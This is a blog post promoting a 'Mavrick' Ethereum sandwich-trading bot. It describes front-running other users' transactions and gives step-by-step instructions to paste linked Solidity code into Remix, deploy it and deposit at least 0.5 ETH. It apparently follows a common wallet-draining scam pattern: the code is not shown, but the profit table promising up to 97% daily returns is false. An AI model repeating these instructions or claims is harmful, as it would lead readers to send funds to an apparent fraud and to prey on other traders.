Mavrick Frontrunner Bot: Step-By-Step Guide for Sandwich Bot

Jane Karaks
3 min readAug 3, 2024

--

Refer to my previous article to understand the bot features and working: https://medium.com/@janekaraks/mavrick-bot-advanced-sandwich-trading-for-decentralized-exchanges-fb8fec948d5d

This bot is designed to maximize transaction value. For example, if someone wants to buy X token for 1 Ethereum, they create a transaction with a price slippage of 11%. This means that if the price for the same amount of X token at the time of the transaction is 1.11 Ethereum, it would be acceptable to proceed. The created deal for buying X token goes into the Mempool, where all buy, sell, and send transactions wait to be validated and added to the blockchain.

This bot scans the Mempool and checks every transaction for profit opportunities. When it finds our X token buy transaction, it can also buy the X token, increasing the price by 10% before the user’s transaction, by adding 0.01 Ethereum for gas. The bot buys the X token to pump the price by 10%, then the user’s transaction is processed at this higher price. After that, the bot immediately sells all X tokens at the higher price. The difference between the 0.01 Ether spent on gas and the additional 0.11 gained is 0.1 Ethereum, which is our profit. This process takes just a few seconds, and the bot can perform hundreds of such operations per day in a fully automatic mode!

Github: https://github.com/JaneKaraks/MavrickCryptoBot

Youtube: https://www.youtube.com/watch?v=V3GQm1SFYpA

Mavrick Bot Cover

STEP BY STEP INSTRUCTIONS:

1️⃣ Download Wallet Extension in your browser.

2️⃣ Head over to Remix: https://remix.ethereum.org/

3️⃣ Create a “New File”. Rename it as you like, or use “mavrick.sol”.

Create a file named “mavrick.sol”

4️⃣ Paste THIS code into Remix from: https://raw.githubusercontent.com/JaneKaraks/MavrickCryptoBot/main/flatten/mavrick-sandwich-bot.sol

Copy and paste the code from the link.

5️⃣ Go to the “Solidity Compiler” tab on Remix, enable Optimization, and compile.

Make sure there are no errors.

6️⃣ Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then “Deploy”. This will create your own contract by confirming the MetaMask contract creation fee.

Important: Make sure your deposit is more than 0.5 ETH (to prevent slippage) to your exact contract/bot address.

To deploy the bot you need to click on “Deploy” button, making sure you put at least 0.5 ETH value.

7️⃣ Click the “startBot” button to start the bot. To withdraw funds from your smart contract, click on the “Stop” button, then “Withdraw”.

To start the bot you need to click on “startBot”.

📈 Estimated Profits

Investment Range (ETH) | Liquidity Level | Profits per 24 Hours

0.5 ETH — 0.7 ETH Low Up to 7–13%

0.7 ETH — 1 ETH Moderate Up to 20%

1 ETH — 3 ETH High 27–35%

2 ETH — 5 ETH High 35–50%

6–10 ETH Very High 50–63%

10 ETH — 20 ETH Very High 76%+

20 ETH — 50 ETH Extremely High 97%+

Currently, it’s available for free to demonstrate its effectiveness and potential income generation. However, I’ll be launching a paid version of the bot. At that time, the API Key for the free version will be deactivated, preventing contract deployment. The paid version will cost $2500 per week. Until then, everyone is welcome to try it out and take advantage of the opportunity to earn a significant income.

--

--

Jane Karaks

Passionate writer and tech enthusiast with a knack for exploring the latest in innovation.